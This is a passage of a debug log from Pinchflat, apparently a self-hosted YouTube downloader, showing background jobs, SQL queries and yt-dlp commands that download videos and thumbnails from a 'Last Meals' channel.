/tmp/pinchflat/data/d5/34/d534e0cc2fd372ea0845989e72b07667f3f85fa3c66d19c41398082fade4aa32.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 20:59:29.246 [debug] Running yt-dlp command for action: download 20:59:29.246 [debug] QUERY OK source="settings" db=0.0ms idle=1188.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:59:29.246 [debug] QUERY OK source="settings" db=0.0ms idle=1188.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:59:29.246 [debug] QUERY OK source="settings" db=0.0ms idle=1188.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:59:29.246 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=1PdM23qlYxU --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/5d/1c/5d1c92d203ae342b4197856337f2887d7f0af6e8d6283c6ac38bbde2b0f75492.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 20:59:40.408 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=ot35HRC-Zlk --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/5a/92/5a920ed8fabcc8046ff00454e845fd278fe90cb113c2fde9bbd4fad2bbd60b4a.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 20:59:40.416 [debug] Running yt-dlp command for action: download_thumbnail 20:59:40.417 [debug] QUERY OK source="settings" db=0.0ms idle=1359.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:59:40.417 [debug] QUERY OK source="settings" db=0.0ms idle=1359.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:59:40.417 [debug] QUERY OK source="settings" db=0.0ms idle=1136.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:59:40.417 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=ot35HRC-Zlk --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/10/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/20/a3/20a3b7d4486c83e4a45e44aabf880f05cbc86c31905eb26f0eec0dba0c7dd319.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 20:59:43.015 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=ot35HRC-Zlk --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/10/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/20/a3/20a3b7d4486c83e4a45e44aabf880f05cbc86c31905eb26f0eec0dba0c7dd319.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 20:59:43.015 [debug] QUERY OK db=0.0ms idle=957.8ms begin [] 20:59:43.015 [debug] QUERY OK source="media_items" db=0.4ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 00:59:40Z], "/downloads/Last Meals/2024-01-16 Jake Johnson Eats His Last Meal/Jake Johnson Eats His Last Meal [ot35HRC-Zlk].mp4", ~U[2026-03-28 00:59:43Z], 10] 20:59:43.016 [debug] QUERY OK source="media_metadata" db=0.3ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/10/metadata.json.gz", "/config/metadata/media_items/10/thumbnail.jpg", 10, ~U[2026-03-28 00:59:43Z], ~U[2026-03-28 00:59:43Z]] 20:59:43.016 [debug] QUERY OK db=0.0ms commit [] 20:59:43.017 [debug] QUERY OK source="media_items" db=0.9ms idle=959.1ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [349154231, ~U[2026-03-28 00:59:43Z], 10] 20:59:43.017 [info] User scripts lifecyle file either not present or is empty. Skipping. 20:59:43.017 [info] {"args":{"id":10},"id":13,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":126347950,"event":"job:stop","queue_time":632669428,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:59:43.023 [info] {"args":{"id":12},"id":15,"meta":{},"system_time":1774659583023785061,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:59:43.023 [debug] QUERY OK source="media_items" db=0.0ms idle=738.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12] 20:59:43.024 [info] User scripts lifecyle file either not present or is empty. Skipping. 20:59:43.024 [debug] QUERY OK source="sources" db=0.1ms idle=7.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:59:43.024 [debug] QUERY OK source="media_profiles" db=0.0ms idle=6.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:59:43.024 [debug] QUERY OK source="media_items" db=0.1ms idle=6.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12] 20:59:43.025 [debug] QUERY OK source="media_metadata" db=0.0ms idle=1.4ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [12] 20:59:43.025 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:59:43.025 [debug] QUERY OK source="settings" db=0.0ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:59:43.025 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:59:43.025 [debug] Running yt-dlp command for action: get_downloadable_status 20:59:43.026 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:59:43.026 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:59:43.026 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:59:43.026 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=palAzhniUBg --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/6f/72/6f726960ea3e9eb9a5332751a7bb4ccbc8883572a7c39e90a506c18e5f57929e.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 20:59:45.460 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=palAzhniUBg --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/6f/72/6f726960ea3e9eb9a5332751a7bb4ccbc8883572a7c39e90a506c18e5f57929e.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 20:59:45.460 [debug] Running yt-dlp command for action: download 20:59:45.460 [debug] QUERY OK source="settings" db=0.2ms idle=1402.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:59:45.460 [debug] QUERY OK source="settings" db=0.1ms idle=1402.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:59:45.460 [debug] QUERY OK source="settings" db=0.0ms idle=1402.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:59:45.460 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=palAzhniUBg --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/3b/87/3b87466f0a0ee4b61176a409f766daaab2106d9ae4249c55e221a2f5db890974.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 20:59:58.609 [info] {"source":"oban","duration":1207,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:00:00.573 [info] {"source":"oban","duration":1601,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[115]} 21:00:00.579 [info] {"args":{},"id":115,"meta":{"cron":true,"cron_expr":"0 1 * * *","cron_tz":"Etc/UTC"},"system_time":1774659600579129689,"max_attempts":20,"queue":"local_data","worker":"Pinchflat.Downloading.MediaRetentionWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","local_data"]} 21:00:00.580 [debug] QUERY OK source="media_items" db=0.3ms queue=0.1ms idle=522.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" WHERE ((NOT (m0."media_filepath" IS NULL) AND IFNULL(retention_period_days, 0) > 0 AND DATETIME(media_downloaded_at, '+' || retention_period_days || ' day') < DATETIME('now') ) AND NOT (m0."prevent_culling" = 1)) [] 21:00:00.580 [info] Culling 0 media items past their retention date 21:00:00.580 [debug] QUERY OK source="media_items" db=0.3ms queue=0.1ms idle=522.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" WHERE ((NOT (m0."media_filepath" IS NULL) AND NOT ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND NOT (m0."prevent_culling" = 1)) [] 21:00:00.580 [info] Deleting 0 media items that are from before the source cutoff 21:00:00.581 [info] {"args":{},"id":115,"meta":{"cron":true,"cron_expr":"0 1 * * *","cron_tz":"Etc/UTC"},"state":"success","max_attempts":20,"queue":"local_data","worker":"Pinchflat.Downloading.MediaRetentionWorker","source":"oban","duration":1870,"event":"job:stop","queue_time":578404,"attempt":1,"tags":["media_item","local_data"]} 21:00:28.611 [info] {"source":"oban","duration":1197,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:00:58.613 [info] {"source":"oban","duration":1033,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:01:00.573 [info] {"source":"oban","duration":355,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:01:28.614 [info] {"source":"oban","duration":442,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:01:58.616 [info] {"source":"oban","duration":593,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:01:59.222 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=1PdM23qlYxU --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/5d/1c/5d1c92d203ae342b4197856337f2887d7f0af6e8d6283c6ac38bbde2b0f75492.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:01:59.243 [debug] Running yt-dlp command for action: download_thumbnail 21:01:59.244 [debug] QUERY OK source="settings" db=0.1ms idle=1186.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:01:59.244 [debug] QUERY OK source="settings" db=0.0ms idle=1186.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:01:59.244 [debug] QUERY OK source="settings" db=0.0ms idle=1187.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:01:59.244 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=1PdM23qlYxU --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/11/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/49/b5/49b5c23541675a66a02164addd1cd0a6591c2b408cd031ebdc51b306f277ef0c.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:02:00.574 [info] {"source":"oban","duration":177,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:02:00.595 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=palAzhniUBg --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/3b/87/3b87466f0a0ee4b61176a409f766daaab2106d9ae4249c55e221a2f5db890974.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:02:00.608 [debug] Running yt-dlp command for action: download_thumbnail 21:02:00.608 [debug] QUERY OK source="settings" db=0.0ms idle=1363.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:02:00.608 [debug] QUERY OK source="settings" db=0.0ms idle=1072.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:02:00.608 [debug] QUERY OK source="settings" db=0.1ms idle=551.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:02:00.608 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=palAzhniUBg --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/12/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/1a/c9/1ac9c75bb7840892f7adb346a956941a8e2457b3902313edf65b8c0433ca805f.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:02:01.853 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=1PdM23qlYxU --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/11/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/49/b5/49b5c23541675a66a02164addd1cd0a6591c2b408cd031ebdc51b306f277ef0c.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:02:01.853 [debug] QUERY OK db=0.0ms idle=1278.6ms begin [] 21:02:01.854 [debug] QUERY OK source="media_items" db=0.7ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 01:01:59Z], "/downloads/Last Meals/2024-02-15 Hank Green Eats His Last Meal/Hank Green Eats His Last Meal [1PdM23qlYxU].mp4", ~U[2026-03-28 01:02:01Z], 11] 21:02:01.854 [debug] QUERY OK source="media_metadata" db=0.5ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/11/metadata.json.gz", "/config/metadata/media_items/11/thumbnail.jpg", 11, ~U[2026-03-28 01:02:01Z], ~U[2026-03-28 01:02:01Z]] 21:02:01.855 [debug] QUERY OK db=0.1ms commit [] 21:02:01.856 [debug] QUERY OK source="media_items" db=1.1ms idle=1246.8ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [465774022, ~U[2026-03-28 01:02:01Z], 11] 21:02:01.856 [info] User scripts lifecyle file either not present or is empty. Skipping. 21:02:01.856 [info] {"args":{"id":11},"id":14,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":154935047,"event":"job:stop","queue_time":740921344,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 21:02:01.862 [info] {"args":{"id":13},"id":16,"meta":{},"system_time":1774659721862790275,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 21:02:01.863 [debug] QUERY OK source="media_items" db=0.0ms idle=324.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [13] 21:02:01.863 [info] User scripts lifecyle file either not present or is empty. Skipping. 21:02:01.863 [debug] QUERY OK source="sources" db=0.0ms idle=8.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:02:01.863 [debug] QUERY OK source="media_profiles" db=0.0ms idle=6.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:02:01.863 [debug] QUERY OK source="media_items" db=0.1ms idle=6.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND 